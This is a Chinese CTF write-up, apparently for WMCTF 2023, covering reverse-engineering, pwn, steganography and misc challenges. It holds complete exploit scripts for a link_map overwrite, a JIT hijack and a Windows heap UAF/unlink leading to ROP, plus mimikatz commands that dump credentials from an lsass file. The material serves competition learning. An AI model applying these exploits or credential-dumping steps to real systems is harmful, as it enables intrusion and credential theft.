    scanf("%66s",str);
    do
        fin_input=getchar();
    while(fin_input!='\n');
}


int main(){
    unsigned char key[17]={82,101,95,49,115,95,101,97,83,121,49,50,51,52,53,54};
    unsigned char input[17]="1111222233334444";
    unsigned char enc[17]={43,200,32,139,92,13,167,155,42,81,58,210,113,113,202,80,};
    unsigned char dec[17]={0};
    
    
    
    printf("enc-----\n");
    //aes_enc(key,input,enc);
    
    for(int i=0;i<16;i++)
    {
    //	printf("0x%x,",enc[i]);
     } 
     printf("dec-----\n");
    aes_dec(key,enc,dec);
    for(int i=0;i<16;i++)
    {
        printf("%c",dec[i]);
     } 
    return 0;
}

RightBack

python代码中有很多的花指令 但是都是同一种形式的 写个脚本替换为NOP指令就可以

fd = open("RightBack.pyc","rb").read()


indexs = []
buf = bytearray(fd)

search_pattern = b'\x6e\x00\x6e\x04'        
index = fd.find(search_pattern)
while index != -1:
    #print("Found at index:", index)
    indexs.append(index)
    index = fd.find(search_pattern, index + len(search_pattern))
for i in indexs:
    
    buf[i:i+8] = bytes([9,0,9,0,9,0,9,0])
search_pattern = b'\x6e\x02'        
index = fd.find(search_pattern)
indexs = []
while index != -1:
    #print("Found at index:", index)
    indexs.append(index)
    index = fd.find(search_pattern, index + len(search_pattern))
for i in indexs:
    
    buf[i:i+4] = bytes([9,0,9,0,])

buf = bytes(buf)
import marshal
sample =marshal.loads(buf[16:])	
import dis
try:
    dis.dis(sample)
except:
    pass
open("dump.pyc","wb").write(buf)

然后反编译成功后VM 的while循环结构有些问题 根据具体字节码逆向出来

然后使用z3约束求解就可以

key=[1835819331, 1853321028, 1768711490, 1432712805, 2177920767, 4020699579, 2261476601, 3551400604, 711874531, 3318306392, 1124217505, 2427199549, 3099853672, 2098025776, 1041196945, 2929936300, 246748610, 1941455090, 1303848803, 3809763535, 1395557789, 546751855, 1830937100, 2385871555, 2516030638, 3043054017, 3628118989, 1450520846, 1825094265, 3651791800, 32069749, 1469868411, 919887482, 4017993154, 4002737591, 3104343244, 4134211933, 420914335, 4152510760, 1317719524, 1990496755, 1873950060, 2553314372, 3602559392]

def enc(cin1,cin2,key):
    cnt = 0 
    eax = cin1 
    ebx = cin2
    ecx = 0 
    #print("round",cnt,eax,ebx)
    eax+=key[ecx]
    eax&=0xffffffff
    ecx = 1
    ebx+=key[ecx]
    ebx&=0xffffffff
    #print("round",cnt,eax,ebx)
    while(1):
        cnt+=1

        eax^=ebx
        #print("round",cnt,eax,ebx)
        ecx = eax
        r8 = ebx
        ebx &= 31
        eax<<=ebx
        
        eax&=0xffffffff
        #print("round",cnt,eax,ebx)
        edx = 32 - ebx
        ecx>>=edx
        eax |=ecx
        #print("round",cnt,eax,ebx)
        #eax循环左移 ebx个
        eax+=key[cnt*2]
        eax&=0xffffffff
        #print("round",cnt,eax,ebx)
        ###########
        ebx = r8
        ebx^=eax
        ecx = ebx
        edx = eax
        edx &=31
        ebx<<=edx
        
        r8 = 32-edx
        ecx>>=r8
        
        ebx|=ecx
        
        ebx+=key[2*cnt+1]
        ebx&=0xffffffff
        #print("round",cnt,eax,ebx)
        if(cnt==21):
            break

    return eax,ebx
from Crypto.Util.number import *
out1,out2= enc(825307441,825307441,key)
print(out1,out2)
# round 0 825307441 825307441
# round 0 1919631470 4998030818
# round 1 5830911372 4998030818
# round 1 1848809008 2
# round 1 1848809013 2
# round 1 1549280757 2
# round 1 1549280757 3250967850
mmm=[70971958, 1454480124, 4145947100, 3683618452, 1295312797, 2622622830, 4227519997, 855210028, 3149806017, 3649402294, 687393912, 2766439826, 247296709, 2944897322, 2347888534, 375443730]

from z3 import *
S = Solver()
x = [BitVec("x[%d]"%i,33) for i in range(16)]
dec = [0]*16
for i in range(8):

    if(i>0):
        x[2*i] ^= mmm[2*i-2]
        x[2*i+1] ^= mmm[2*i-2+1]
    dec[2*i],dec[2*i+1] = enc(x[i*2],x[i*2+1],key)
    
for i in range(16):
    S.add(dec[i]==mmm[i])

#print(o1,o2)
#1633771874 1633771873
#, 

S.check()
ans = S.model()

print(ans)

x[4] = 1730238768
x[13] = 829583920
x[10] = 1667974770
x[15] = 1461789053
x[9] = 1752449633
x[14] = 1914787663
x[8] = 559049063
x[2] = 811877750
x[7] = 812462881
x[0] = 1464681300
x[12] = 1633905485
x[11] = 1869431345
x[6] = 1098343795
x[1] = 1182484272
x[5] = 1967223397
x[3] = 862873966
for i in x:
    print(long_to_bytes(i))

gohunt

动态调试程序

发现程序首先对输入的字符串进行填补 并进行XXTEA加密

加密后与一个字符串进行异或

加密过后转换为大段序 进行大整数除法 除0x3A 余数作为索引输出

逆向即可

cin = "0000111122223333444455556666777788889999"

xor_data=[  0x4E, 0x50, 0x57, 0x72, 0x70, 0x64, 0x31, 0x43, 0x45, 0x4A, 
  0x48, 0x32, 0x51, 0x63, 0x4A, 0x33]
after = [ 0x46, 0x93, 0x1D, 0xE3, 0xE2, 0x98, 0x7C, 0x7A, 0xF1, 0x98, 
  0x48, 0xC1, 0x5C, 0xB1, 0xFB, 0xA4, 0x53, 0xD3, 0x24, 0x34, 
  0x37, 0x15, 0xE7, 0x14, 0x46, 0x9A, 0x83, 0xDA, 0x3A, 0x23, 
  0x8E, 0x20, 0x31, 0x7F, 0x63, 0xF7, 0x91, 0xE2, 0x39, 0xBA, 
  0xE1, 0x32, 0x61, 0x28]
# for i in range(len(after)):
#     print(hex(after[i]^xor_data[i%16]),end=',')

def hex2number(cin):
    return int(cin,16)
def little(cin):
    tmp = bytes.fromhex(cin)[::-1].hex()
    return int(tmp,16)

t1 = "286132E1BA39E291F7637F31208E233ADA839A4614E715373424D353A4FBB15CC14898F17A7C98E2"
m1 = little(t1)//0x3a
print(hex(m1))


data=0x1A7B9611A7B9611A

table = "nY7TwcE41bzWvMQZXa8fyeprJoBdmhsu9DqVgxRPtFLKN65UH2CikG3SAj"

#final
"""
f3 20 41 10 cb 56 8c 5c 09 0c 72 fd d9 d7 54 00 7c d7 b0 09 f1 44 5f 7f e0 75 db 76 71 41 fe a0 f0 24 71 d6 60 01 14 42 69 37 04 8c 19
67 02 01 de 49 90 50 40 18 58 71 c9 c0 3a bf 04 59 dd 6d 71 f8 ff d1 51 c6 70 2c 5f 31 c0 51 d7 76 f4 b1 c3 27 01 63 5a d3 04 04 1c bc


"""
table = "nY7TwcE41bzWvMQZXa8fyeprJoBdmhsu9DqVgxRPtFLKN65UH2CikG3SAj"
out = "YMQHsYFQu7kkTqu3Xmt1ruYUDLU8uaMoPpsfjqYF4TQMMKtw5KF7cpWrkWpk3"

cin = 0x36ABB52338C8FC69
result = 0xF14E2854D753CC
yu = 0x31

# while(cin>=0x3a):
#     yu = cin%0x3a
#     cin//=0x3a
#     #print(hex(cin))
#     print(table[yu],end='')
# print(table[cin])

    


tmp1 = out
sum = 0
for i in tmp1:
    yu = table.index(i)
    if(sum == 0):
        sum +=yu
    else:
        sum = sum*0x3a+yu
print(hex(sum))

cin=bytes.fromhex("db27eeea98b6a74f5ea68eb2a763006b50f6ddc32b2649f0bbfe014080a770f679b0cd8d2006fd4fd548262e")
arr=[cin[i]^xor_data[i%len(xor_data)] for i in range(len(cin))]
import struct
arr_bytes= bytes(arr)
print(len(arr_bytes))
enc =[struct.unpack('<I', bytes(arr_bytes[i:i+4]))[0] for i in range(0,44,4)]
print(enc)

xxtea解密

#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
  
#define MX (z>>5^y<<2) + (y>>3^z<<4)^(sum^y) + (k[p&3^e]^z);  
  
long btea(long* v, long n, long* k) {  
    unsigned long z=v[n-1], y=v[0], sum=0, e, DELTA=0x9e3779b9;  
    long p, q ;  
    if (n > 1) {          /* Coding Part */  
        q = 6 + 52/n;  
        while (q-- > 0) {  
            sum += DELTA;  
            e = (sum >> 2) & 3;  
            for (p=0; p<n-1; p++) y = v[p+1], z = v[p] += MX;  
            y = v[0];  
            z = v[n-1] += MX;  
        }  
        return 0 ;   
    } else if (n < -1) {  /* Decoding Part */  
        n = -n;  
        q = 6 + 52/n;  
        sum = q*DELTA ;  
        while (sum != 0) {  
            e = (sum >> 2) & 3;  
            for (p=n-1; p>0; p--) z = v[p-1], y = v[p] -= MX;  
            z = v[n-1];  
            y = v[0] -= MX;  
            sum -= DELTA;  
        }  
        return 0;  
    }  
    return 1;  
}  
  
void main() {  
    long n = 10;  
    unsigned long k[4] = {0x32544D46, 0x4845435A, 0x63703653, 0x52324466};  
   unsigned int cin[20]={ 2562291605, 211210984, 2160520219, 1481244918, 2978653726, 3011002971, 1917433086, 3308963025, 4288340023, 214721104, 476971664};
    
  	btea(cin,-11,k);
    printf("%s",cin);
  
  
}

Pwn

blindless

直接给了后门

int __cdecl backdoor()
{
  return system("cat /flag");
}

executeBrainfuck 函数没有越界检查,可以向后越界。

int __cdecl executeBrainfuck(char *code)
{
  _BYTE c[5]; // [rsp+13h] [rbp-5h]

  c[4] = 0;
  *(_DWORD *)c = (unsigned __int8)*code;
  while ( *(int *)&c[1] <= 255 )
  {
    if ( c[0] == 0x71 )
      return 0;
    if ( c[0] <= 113 )
    {
      if ( c[0] == 0x40 )
      {
        data += *(unsigned int *)&code[*(int *)&c[1] + 1];
        *(_DWORD *)&c[1] += 5;
      }
      else if ( c[0] <= 64 )
      {
        if ( c[0] == 0x3E )
        {
          ++data;
          ++*(_DWORD *)&c[1];
        }
        else if ( c[0] <= 62 )
        {
          if ( c[0] == 43 )
          {
            data += 8;
            ++*(_DWORD *)&c[1];
          }
          else if ( c[0] == 0x2E )
          {
            *data = code[*(int *)&c[1] + 1];
            *(_DWORD *)&c[1] += 2;
          }
        }
      }
    }
    c[0] = code[*(int *)&c[1]];
  }
  return 0;
}

打dl的link_map改偏移到后门函数即可,利用脚本如下:

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

while(True):
    sh = remote('1.13.101.243', 28502)

    sh.sendlineafter(b'size\n', str(0x60000).encode())
    sh.sendlineafter(b'size\n', str(0x100).encode())
    payload = b''
    payload += p8(0x40) + p32(0x286180-0x2000) # address('ld')+0x2f190
    payload += p8(0x2e) + p8(0xb1)
    payload += p8(0x40) + p32(1) # address('ld')+0x2f191
    payload += p8(0x2e) + p8(0x3c)
    payload += p8(0x40) + p32(0x11f) # address('ld')+0x2f2b0
    payload += p8(0x2e) + p8(0x98)
    payload += p8(0x71)
    sh.sendafter(b'code\n', payload)

    result = sh.recvrepeat(1)
    if result:
        print(result)
        exit(0)

    sh.close()

可以断在下面两个地址查看调用情况:

b *{address('ld')+0x11f3b}
b *{address('ld')+0x11f84}

jit

题目会把我们输入的内容翻译成汇编代码,输入的每条代码长度为8字节,每条代码的信息布局如下:

p8(指令), p8(寄存器), p16(偏移), p32(立即数)

程序只做转译,不做保护,所以可以根据转译规则编写利用代码,转译规则部分在地址 0x5A50 处,进入执行体执行的指令在 0x2947。

对不同版本的libc进行测试,测出libc版本,然后使用one_gadget来劫持栈上的返回地址。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote('1.13.101.243', 28474)
Program = \
[
    p8(0+4), p8(0), p16(0), p32(0xffab8069+0xbfa98), # add    eax,0xffab8069+0xbfa98
    p8(0x5f+4), p8(10), p16(0x138), p32(0),          # mov    DWORD PTR [rbp+0x138],eax
]
sh.sendafter(b'Program: ', binascii.b2a_hex(flat(Program)) + b'\n')
Memory = \
[
    0x62,
]
sh.sendafter(b'Memory: ', binascii.b2a_hex(flat(Memory)) + b'\n')
sh.interactive()

roguegate

地址 0x140008800 处有验证检查,该验证的加密函数在 sub_1400084E0,第一个参数是输出变量,第二个参数是输入变量。开始时会随机生成字符串并将生成的字符串用 sub_1400084E0 处理得到结果数据。随后用户输入,输入之后会使用用户输入的内容再次调用 sub_1400084E0 进行处理,得到待验证数据。要求两次处理的结果一致,也就是要用户输入第一次随机生成的字符串。

根据验证逻辑进行爆破:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

size_t get_high_value_from_mul(size_t x, size_t y)
{
    unsigned char value[sizeof(void *) * 4] = {0}, *ptr;
    unsigned char x_c[sizeof(void *)] = {0};
    unsigned char y_c[sizeof(void *)] = {0};
    size_t temp1, temp2;
    unsigned short temp3;
    int i, j;

    *(size_t*)x_c = x;
    *(size_t*)y_c = y;
    for(i = 0; i < sizeof(void *); i ++)
    {
        temp1 = x_c[i];
        for(j = 0; j < sizeof(void *); j++)
        {
            temp2 = temp1 * y_c[j];
            ptr = value + i + j;
            do
            {
                temp3 = *(unsigned short*)ptr;
                temp2 += temp3;
                *(unsigned short*)ptr = temp2;
                temp2 = temp2 >> 16;
                ptr += 2;
            }while(temp2);
        }
    }
    
    return *(size_t*)(value + sizeof(void *));
}

int main()
{
    char table[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
    #define LENGTH 10
    int i, j; 
    time_t now;
    size_t v6, v7;
    char output[0x10];

    setbuf(stdout, NULL);

    now = time(NULL);
    for(i = - LENGTH; i < LENGTH; i++)
    {
        srand(now + i);
        memset(output, 0, sizeof(output));
        for(j = 0; j < 10; j ++)
        {
            v6 = rand();
            v7 = get_high_value_from_mul(v6, 0x842108421084211);
            output[j] = table[v6 - 62 * ((v7 + ((v6 - v7) >> 1)) >> 5)];
        }
        puts(output);
    }
    puts("end");
    return 0;
}

验证通过后就可以进入 0x140007D90 主逻辑。主逻辑是传统堆题,直接给了UAF和Heap overflow。

void main_heap()
{
    ...
      case 2:
        sub_140009DF0(std::cout, (__int64)"Enter User ID: ");
        std::istream::operator>>(std::cin, &v34);
        if ( v34 > 0x63 || qword_140013068[2 * (int)v34] != 0x1A1A1A1A1A1A1A1Ai64 )
          goto LABEL_22;
        v16 = (_BYTE *)qword_140013060[2 * (int)v34];
        sub_140009DF0(std::cout, (__int64)"Enter New User Length: ");
        std::istream::operator>>(std::cin, &v35);
        memset(&v37, 0, sizeof(v37));
        v17 = -1i64;
        do
          ++v17;
        while ( v16[v17] );
        char2string(&v37, v16, v17);
        v18 = v37.length + 8; // Heap overflow
        v19 = v35;
        if ( v37.max_length >= 0x10ui64 )
        {
          buf = (void *)v37.buf;
          if ( (unsigned __int64)(v37.max_length + 1) >= 0x1000 )
          {
            buf = *(void **)(v37.buf - 8);
            if ( (unsigned __int64)(v37.buf - (_QWORD)buf - 8) > 0x1F )
              invalid_parameter_noinfo_noreturn();
          }
          j_j_free(buf);
        }
        if ( v19 <= v18 )
        {
          sub_140009DF0(std::cout, (__int64)"Enter New User Name: ");
          std::istream::read(std::cin, v16, v35);
        }
        break;
      case 3:
        sub_140009DF0(std::cout, (__int64)"Enter User ID: ");
        std::istream::operator>>(std::cin, &v34);
        if ( v34 <= 0x63 && qword_140013068[2 * (int)v34] == 0x1A1A1A1A1A1A1A1Ai64 )
          HeapFree(hHeap, 1u, (LPVOID)qword_140013060[2 * (int)v34]); // UAF
        else
LABEL_22:
          sub_140009DF0(std::cout, (__int64)"Invalid user ID.\n");
        break;
      case 4:
      ...
}

泄漏地址的部分在功能5. Into the forest!的内部,具体位置在 1400073D0 处。5. Into the forest!功能提供了一个迷宫游玩功能,当我们处在迷宫的指定位置处后,就能触发后门 1400072A0 从而执行到 1400073D0。触发的具体指令在 140007CE6call qword ptr [rax+10h])处。

函数1400073D0会直接给我们程序基地址,随后可以进行 unlink 攻击并获得任意读写权限。

劫持栈执行 WinExec 时,执行失败并返回 367 错误号,查阅文档后知道该错误是 ERROR_CHILD_PROCESS_BLOCKED 错误,原因是题目调用了 SeTokenIsNoChildProcessRestricted 从而限制了子进程的创建。所以该题需要使用传统的open|read|write来获取flag。

利用脚本:

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='windows', log_level='info')

sh = remote('192.168.223.172', 6666)
keys = sh.recvuntil(b'end', drop=True).split(b'\r\n')
sh.close()

sh = remote('175.27.236.172', 6789)
sh.recvuntil(b'Enter your answer: ')

result = b''
key_i = 0
while( b'Congratulations' not in result ):
    sh.sendline(keys[key_i])
    result = sh.recvuntil(b'\r\n')
    key_i += 1

def add(index, content):
    sh.sendlineafter(b'please enter : \r\n', b'1')
    sh.sendlineafter(b'Enter User ID:', str(index).encode())
    sh.sendlineafter(b'Enter User Name:', content)

def edit(index, size, content):
    sh.sendlineafter(b'please enter : \r\n', b'2')
    sh.sendlineafter(b'Enter User ID:', str(index).encode())
    sh.sendafter(b'Enter New User Length:', str(size).encode())
    sh.sendline(content)

def delete(index):
    sh.sendlineafter(b'please enter : \r\n', b'3')
    sh.sendlineafter(b'Enter User ID:', str(index).encode())

def show(index):
    sh.sendlineafter(b'please enter : \r\n', b'4')
    sh.sendlineafter(b'Enter User ID:', str(index).encode())
    sh.recvuntil(b'name is: ')


add(0, b'a' * 0x17)
add(1, b'a' * 0x17)
add(2, b'a' * 0x17)
add(3, b'a' * 0x17)
add(4, b'a' * 0x17)
add(5, b'a' * 0x17)

delete(2)
delete(4)

sh.sendlineafter(b'please enter : \r\n', b'5')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'a')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'a')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'a')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'a')
sh.sendlineafter(b'creature?', b'2')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'a')
sh.sendlineafter(b'creature?', b'1')
sh.sendlineafter(b'going ?(y/n)', b'y')


sh.recvuntil(b'for gifts.\r\n')
image_addr = int(sh.recvuntil(b'\r\n', drop=True), 16)
success('image_addr: ' + hex(image_addr))
ucrtbase_addr = int(sh.recvuntil(b'\r\n', drop=True), 16)
success('ucrtbase_addr: ' + hex(ucrtbase_addr))

sh.sendlineafter(b'Enter New User ID: ', str(2).encode())
sh.sendafter(b'Length: ', str(0x10).encode())
sh.sendline(p64(image_addr + 0x13078) + p64(image_addr + 0x13080))

sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b'd')
sh.sendlineafter(b'Enter direction (w/a/s/d): ', b's')

delete(1)
edit(2, 8, p64(image_addr + 0x13060))
edit(2, 8, p64(image_addr + 0x14170))
show(0)
heap_addr = u64(sh.recvuntil(b'\r\n', drop=True).ljust(8, b'\0'))
success('heap_addr: ' + hex(heap_addr))

edit(2, 8, p64(heap_addr))
show(0)
heap_addr2 = u64(sh.recvuntil(b'\r\n', drop=True).ljust(8, b'\0'))
success('heap_addr2: ' + hex(heap_addr2))

edit(2, 8, p64(image_addr+0xE010))
show(0)
kernel32_addr = u64(sh.recvuntil(b'\r\n', drop=True).ljust(8, b'\0')) - 0x1010
success('kernel32_addr: ' + hex(kernel32_addr))

edit(2, 8, p64(kernel32_addr+0x79fa0))
show(0)
ntdll_addr = u64(sh.recvuntil(b'\r\n', drop=True).ljust(8, b'\0')) - 0x178d0
success('ntdll_addr: ' + hex(ntdll_addr))



edit(2, 8, p64(image_addr + 0x13080))
edit(0, 8, p64(image_addr + 0x13060-1))

def write(addr, value):
    sh.sendlineafter(b'please enter : \r\n', b'2')
    sh.sendlineafter(b'Enter User ID:', str(2).encode())
    sh.sendafter(b'Enter New User Length:', str(8).encode())
    sh.sendline(b'\0' + p64(addr)[:7])

    sh.sendlineafter(b'please enter : \r\n', b'2')
    sh.sendlineafter(b'Enter User ID:', str(0).encode())
    sh.sendafter(b'Enter New User Length:', str(8).encode())
    sh.sendline(p64(value))

def read(addr):
    sh.sendlineafter(b'please enter : \r\n', b'2')
    sh.sendlineafter(b'Enter User ID:', str(2).encode())
    sh.sendafter(b'Enter New User Length:', str(8).encode())
    sh.sendline(b'\0' + p64(addr)[:7])

    sh.sendlineafter(b'please enter : \r\n', b'4')
    sh.sendlineafter(b'Enter User ID:', str(0).encode())
    sh.recvuntil(b'name is: ')
    return u64(sh.recvuntil(b'\r\n', drop=True).ljust(8, b'\0'))

peb_addr = read(ntdll_addr + 0x166308) - 0x80
success('peb_addr: ' + hex(peb_addr))

teb_addr = peb_addr + 0x1000
success('teb_addr: ' + hex(teb_addr))
stack_top_addr = (read(teb_addr + 8+2) << 16) - 8
success('stack_top_addr: ' + hex(stack_top_addr))

stack_addr = stack_top_addr
while(True):
    tmp = read(stack_addr)
    success( hex(stack_addr) + ': ' + hex(tmp))
    if tmp == image_addr + 0x916B:
        break
    stack_addr -= 8
success('offset: ' + hex(stack_top_addr - stack_addr))

write(stack_addr, ntdll_addr+0x9227b) # pop rcx; ret
stack_addr += 8

path = b"flag.txt\0"
path_i = 0
while(path):
    tmp = path[:8].ljust(8, b'\0')
    write(stack_top_addr-0x38+path_i, u64(tmp))
    path = path[8:]
    path_i += 8
    
write(stack_addr, stack_top_addr-0x38) # path
stack_addr += 8
write(stack_addr, ntdll_addr + 0xb5752) # pop rdx; ret
stack_addr += 8
write(stack_addr, 0) # 1
stack_addr += 8
write(stack_addr, ntdll_addr + 0x106a) # ret
stack_addr += 8
write(stack_addr, (ucrtbase_addr + 0xA28C0)) # open
stack_addr += 8
write(stack_addr, ntdll_addr+0x30e93) # add rsp, 0x48; ret; 
stack_addr += 0x50

write(stack_addr, ntdll_addr+0x9227b) # pop rcx; ret
stack_addr += 8
write(stack_addr, 3) # fd
stack_addr += 8
write(stack_addr, ntdll_addr + 0xb5752) # pop rdx; ret
stack_addr += 8
write(stack_addr, stack_top_addr-0x4000) # buf
stack_addr += 8
write(stack_addr, ntdll_addr + 0x643f3) # pop r8; ret
stack_addr += 8
write(stack_addr, 0x100) # len
stack_addr += 8
write(stack_addr, (ucrtbase_addr + 0x15990)) # read
stack_addr += 8
write(stack_addr, ntdll_addr+0x30e93) # add rsp, 0x48; ret; 
stack_addr += 0x50

write(stack_addr, ntdll_addr+0x9227b) # pop rcx; ret
stack_addr += 8
write(stack_addr, 1) # fd
stack_addr += 8
write(stack_addr, ntdll_addr + 0xb5752) # pop rdx; ret
stack_addr += 8
write(stack_addr, stack_top_addr-0x4000) # buf
stack_addr += 8
write(stack_addr, ntdll_addr + 0x643f3) # pop r8; ret
stack_addr += 8
write(stack_addr, 0x100) # len
stack_addr += 8
write(stack_addr, (ucrtbase_addr + 0x15310)) # read
stack_addr += 8

sh.sendlineafter(b'please enter : \r\n', b'6')

sh.interactive()

STEG

StegLab1-PointAttack

Warm_UP

让gpt写了个LSB

enc

class Solution:
    def Encrypt(self, img, key):
        img = Image.open(img)
        img_array = np.array(img)
        key_binary = ''.join(format(ord(c), '08b') for c in key)
        key_len = len(key_binary)
        
        height, width, _ = img_array.shape
        max_pixels = height * width * 3
        
        if key_len > max_pixels:
            raise ValueError("Image size is not sufficient to hide the key.")
        
        key_index = 0
        for i in range(height):
            for j in range(width):
                for k in range(3):
                    if key_index < key_len:
                        img_array[i][j][k] = (img_array[i][j][k] & 0xFE) | int(key_binary[key_index])
                        key_index += 1
        
        encrypted_img = Image.fromarray(img_array)
        return encrypted_img

dec

class Solution:
    def Decrypt(self, img) -> str:
        img = Image.open(img)
        img_array = np.array(img)
        
        height, width, _ = img_array.shape
        key_binary = ""
        key_index = 0
        
        for i in range(height):
            for j in range(width):
                for k in range(3):
                    key_bit = img_array[i][j][k] & 1
                    key_binary += str(key_bit)
                    key_index += 1
                    if key_index >= 80:  # 假设密钥长度不超过80位
                        break
                if key_index >= 80:
                    break
            if key_index >= 80:
                break
        
        key = ""
        for i in range(0, len(key_binary), 8):
            key += chr(int(key_binary[i:i+8], 2))
        
        return key

得到

Congratulations
This is Your flag: flag{test_flag}

Random_Point_Attack

经过热身题,熟悉了OJ,发现:

  • 与本地测试还是有不小的差距

  • OJ比较认np.arrayImage.fromarray来进行数据的读写

读题知道有随机噪音的干扰,朴素的将数据重复三次,然后取出现次数最多的为正确数据即可实现解密

enc

class Solution:
    def Encrypt(self, img, key):
        img = Image.open(img)
        img_array = np.array(img)
        key = key + '@'
        key_array = np.frombuffer(key.encode(), dtype=np.uint8)

        for i in range(len(key_array)):
            for j in range(3):
                img_array[0, i, j] = key_array[i]

        encrypted_img = Image.fromarray(img_array)
        return encrypted_img

dec

class Solution:
    def Decrypt(self,img)-> str:
        img = Image.open(img)
        img_array = np.array(img)
        data = []
        for i in range(10):
            for j in range(3):
                data.append(img_array[0, i, j])
        data = [data[i*3:(i+1)*3] for i in range(len(data)//3)]
        def get_num(list1):
            num = 0
            count = 0
            for i in set(list1):
                if list1.count(i) > count:
                    num = i
                    count = list1.count(i)
            return num
        key = bytes([get_num(i) for i in data]).split(b'@')[0].decode()
        return key

This is Your flag: wmctf{35dba2e1-cbda-436f-ba82-ebf2e052a9d3}

EZ_V1dio

下载得到 avi 音频,尝试分离每一帧

import cv2
import os

if not os.path.exists('frames'):
    os.makedirs('frames')

video = cv2.VideoCapture('./flag.avi')
frame_count = 0
while True:
    ret, frame = video.read()
    if not ret:
        break
    filename = f'frames/frame_{frame_count}.jpg'
    cv2.imwrite(filename, frame)
    frame_count += 1

video.release()

在第一帧的R0通道看到 W 字符

image.png

分离每一帧的R0通道

import cv2
import os

if not os.path.exists('R0'):
    os.makedirs('R0')

video = cv2.VideoCapture('./flag.avi')

frame_count = 0
while True:
    ret, frame = video.read()
    if not ret:
        break
    r_channel = frame[:, :, 2]  # OpenCV默认通道顺序为BGR,索引2为R通道
    r_lowest_bit = r_channel & 1
    r_lowest_bit <<= 7
    filename = f'R0/frame_{frame_count}.jpg'
    cv2.imwrite(filename, r_lowest_bit)
    frame_count += 1

video.release()

image.png

去除重复后得到
WMCTF{5b658ab9-946c-3869-fc21-6ad99b3bc714}

MISC

oversharing

image.png

文件中有lsass.DMP ,使用 mimikatz 进行提取用户密码

导出 lsass.DMP 修改文件名为 lsass.dmp 并使用 mimikatz x64 载入

sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full

image.png

获得 ssh 的用户名与密码

* Domain   : ssh@192.168.20.202:22/randark
* Password : 1a05cf83-e450-4fbf-a2a8-b9fd2bd37d4e

cat flag
WMCTF{9f1690f4-7b41-429f-a243-505997079997}

image.png

Fantastic terminal

非预期解,在 out.warms 中读取flag

image.png

WMCTF{fanta3t1c_term1nal_1n_the_c0nta1ner_1n_the_br0w3er}

Fantastic terminal Rev

此题修复了之前的可以直接从 out.warms 读取flag

docker build -t wmctf . 
docker run -it wmctf 

启动终端后

cd challenge
base64 challenge

因为要获取challenge这个文件,但是直接cat字符编码是错误的,最好是将源文件可以完整保存下来

f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAYBEAAAAAAABAAAAAAAAAAEAxAAAAAAAAAAAAAE
...
...
AAAAAAAAAAAAAAAAAA==

base64 解码后将 challenge 在IDA中进行反编译

动态调试获得flag

![`)I8H69}K3@TWTZ)(7C76(0.png](WMCTF-2023-Writeup/1692585251475-713e3dc8-1867-4fc6-942b-ee5ce921975b.png)

WMCTF{r3venge_terminal_after_fuck1ng_paatchhhhhhhhhhhhh}

find me

https://www.reddit.com/user/WearyMeadow/comments/15u7773/hello/

https://ufile.io/670unszp

根据提示拿到加密流量。

image-20230821174001507

根据出题人的id搜到github

有博客平台 正好有个加密算法的文章不过是需要密码才能看

https://wearymeadow.icu/2023/07/31/My-secret-encryption-algorithm/

试了几个弱口令不行,继续翻github

image-20230821174044069

拿这个密码登录即可

给了个服务端和客户端交互的加密通信脚本

自己根据加密逻辑来解密

加密逻辑:

def encrypt(message, key):
    seed  = random.randint(0,11451)
    random.seed(seed)
    encrypted = b''
    for i in range(len(message)):
        encrypted += bytes([message[i] ^ random.randint(0, 255)])
    cipher = AES.new(key, AES.MODE_ECB)
    encrypted = cipher.encrypt(pad(encrypted))
    return encrypted

首先这里有个seed 随机0-11451

重点是下面异或加密字符串时候每个字符都是不同的异或key,随机0-255

但是用到了seed,如果seed值知道的话,那么异或key是固定的顺序和值根据这个逻辑就清楚了我们需要遍历所有的seed 0-11451,拿到所有的异或key的序列

(但其实是拿不到所有的,因为加密字符串长度不同,异或key的值也不同,所以需要知道加密字符串的长度)

解密脚本

import socket
import random
from Crypto.Cipher import AES
from sys import argv

def pad(s):
    return s + b"\0" * (AES.block_size - len(s) % AES.block_size)

all_list = [] #所有异或key序列 

